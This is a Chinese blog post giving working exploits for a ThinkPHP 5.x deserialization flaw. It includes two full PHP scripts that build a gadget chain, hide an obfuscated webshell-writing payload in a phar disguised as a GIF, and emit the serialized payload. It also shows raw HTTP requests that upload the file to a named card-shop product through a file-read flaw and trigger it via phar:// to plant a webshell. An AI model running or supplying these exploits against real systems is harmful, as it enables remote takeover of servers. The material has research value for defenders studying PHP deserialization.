thinkphp5.x 反序列化

作者: print("") 分类: 未分类 发布时间: 2020-08-17 17:05

Exp

Php反序列化脚本,直接运行即可

大佬的Exp

<?php

namespace think\process\pipes{

    class Windows{

        private $files = [];

        function __construct($a){

            $this->files=[$a];

        }

    }

}

namespace think{

    abstract class Model{

}

}

namespace think\model{

    use think\Model;

    class Pivot extends Model

    {

        public $parent;

        protected $append = [];

        protected $data = [];

        protected $error;

        function __construct($parent,$error){

            $this->parent=$parent;

            $this->append = ["getError"];

            $this->data =['123'];

            $this->error=(new model\relation\HasOne($error));

        }
    }
}

namespace think\model\relation{

    use think\model\Relation;

    class HasOne extends OneToOne{

        

    }

}

namespace think\mongo{

    class Connection{



    }

}

namespace think\model\relation{

    abstract class OneToOne{

        protected $selfRelation;

        protected $query;

        protected $bindAttr = [];

        function __construct($query){

            $this->selfRelation=0;

            $this->query=$query;

            $this->bindAttr=['dwfeawfwafaaaawwsawwwswssww'];

        }

    }

    }



namespace think\console{

    class Output{

        private $handle = null;

        protected $styles = [

            'getAttr'

        ];

        function __construct($handle){

            $this->handle=$handle;

        }

    }

}

namespace think\session\driver{

    class Memcached{

        protected $handler = null;

        function __construct($handle){

            $this->handler=$handle;

        }

    }

    

}

namespace think\cache\driver

{

    class File{

        protected $options = [

            'expire'        => 3600,

            'cache_subdir'  => false,#encode

            'prefix'        => '',#convert.quoted-printable-decode|convert.quoted-printable-decode|convert.base64-decode/

            'path'          => 'php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=?<hp pn$ma=e_$EG[Tf"li"e;]f$li=e_$EG[Td"wo"n;]ifelp_tuc_noettn(sn$ma,eifelg_tec_noettn(sf$li)e;)ihhgilhg_tifel_(F_LI_E)_?;a>a

/../',

            'data_compress' => false,

        ];

        protected $tag='123';

    }

}

namespace think\db{

    class Query{

        protected $model;

        function __construct($model){

            $this->model=$model;

        }

    }

}



namespace{

    $File = (new think\cache\driver\File());

    $Memcached = new think\session\driver\Memcached($File);

    $query = new think\db\Query((new think\console\Output($Memcached)));

    $windows=new think\process\pipes\Windows((new think\model\Pivot((new think\console\Output($Memcached)),$query)));

/*    echo iconv('UCS-2LE','UCS-2BE','<?php phpinfo();?>');*/

//    echo iconv('UCS-2LE','UCS-2BE','?<hp phpipfn(o;)>?');

//    $a = new AWS_MODEL;

    $phar = new \Phar("2.phar");

    $phar->startBuffering();

    $phar->setStub("GIF89a"."__HALT_COMPILER();");

    $phar->setMetadata($windows);

    $phar->addFromString("test.txt","123");

    $phar->stopBuffering();

    rename("2.phar","shell.gif");

    echo urlencode(serialize($windows));

}

?>

我的Exp

<?php



namespace think\process\pipes{

	

	class Pipes{

	}



	class Windows extends Pipes{

		private $files;

		public function __construct(){

			$this->files[] = new \think\model\Pivot();

		}

	}

}



namespace think{

	abstract class Model{

	}

}



namespace think\model{

	use think\Model;

	class Pivot extends \think\Model{

		public $parent;

        protected $append = [];

        protected $data = [];

        protected $error;

        function __construct(){

            $this->parent= new \think\console\Output();

            $this->append = ["getError"];

            $this->data =['123'];

            $this->error=(new \think\model\relation\HasOne());

        }

	}

	abstract class Relation{

	}

}



namespace think\model\relation{



	abstract class OneToOne extends \think\model\Relation{



	}

	class HasOne extends OneToOne{

		protected $bindAttr = [];

		protected $query;

		public function __construct(){

			$this->bindAttr = ['a'=>"dwfeawfwafaaaawwsawwwswssww"];

        	$this->query      = new \think\db\Query();

    	}

	}

}



namespace think\db{

	class Query{

		protected $model;

		public function __construct(){

			$this->model = new \think\console\Output();

		}

	}

}



namespace think\console{

	class Output{

		 protected $styles = [

	        'getAttr'

	    ];

	    private $handle;

		public function __construct(){

			$this->handle = new \think\session\driver\Memcached();

		}

	}

}



namespace think\session\driver{

	class Memcached{

		protected $handler;

		public function __construct(){

			$this->handler = new \think\cache\driver\File();

		}

	}

}



namespace think\cache\driver{

	use think\cache\Driver;

	class File extends Driver{

	    protected $options = [

	        'expire'        => 3600,

	        'cache_subdir'  => false,#encode

	        'prefix'        => '',#convert.quoted-printable-decode|convert.quoted-printable-decode|convert.base64-decode/

	        'path'          => 'php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=?<hp pn$ma=e_$EG[Tf"li"e;]f$li=e_$EG[Td"wo"n;]ifelp_tuc_noettn(sn$ma,eifelg_tec_noettn(sf$li)e;)ihhgilhg_tifel_(F_LI_E)_?;a>a 

/../',

	        'data_compress' => false,

	    ];

	    protected $tag = "123";

	}

}



namespace think\cache{

	class Driver{



	}

}



namespace{

	$a = new \think\process\pipes\Windows(true,100);

	echo urlencode(serialize($a));

    $phar = new \Phar("shell.phar");

    $phar->startBuffering();

    $phar->setStub("GIF89a"."__HALT_COMPILER();");

    $phar->setMetadata($a);

    $phar->addFromString("test.txt","123");

    $phar->stopBuffering();

    #rename("shell.phar","shell.gif");

}



?>

测试Exp

在thinkphp控制器中添加一个方法

使用post传入使用脚本在网页生成的Exp,然后他就会在public文件夹中生成一个webshell

生成的shell名字固定为3b11e4b835d256cc6365eaa91c09a33f.php

 

举例

智宇发卡来举例

运行该php脚本会生成一个shell.gif文件,因为字宇发卡存在任意文件读取漏洞,并且会下载读取的文件

先将刚刚生成的shell.gif上传到服务器中,数据包如下

GET /index.php/wechat/Review/img?url=http://192.168.1.169/shell.gif HTTP/1.1
Host: fakaa.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: see0fb03e=4kjjcl8tlsdit5npjai91k88u3; UM_distinctid=173e1ff4771b8-08d7f410f57e9f-3323765-384000-173e1ff4772af8; CNZZDATA1261189048=306896651-1597222199-%7C1597222199
Connection: close

从Location中得到上传的路径,然后利用phar://协议触发反序列化
phar://static/upload/tmp/d595b3354e6023f7/90a8e6aeb834021a.jpg/test.txt
GET /index.php/wechat/Review/img?url=phar://static/upload/tmp/d595b3354e6023f7/90a8e6aeb834021a.jpg/test.txt HTTP/1.1

Host: fakaa.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: see0fb03e=4kjjcl8tlsdit5npjai91k88u3; UM_distinctid=173e1ff4771b8-08d7f410f57e9f-3323765-384000-173e1ff4772af8; CNZZDATA1261189048=306896651-1597222199-%7C1597222199

Connection: close

生成成功

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注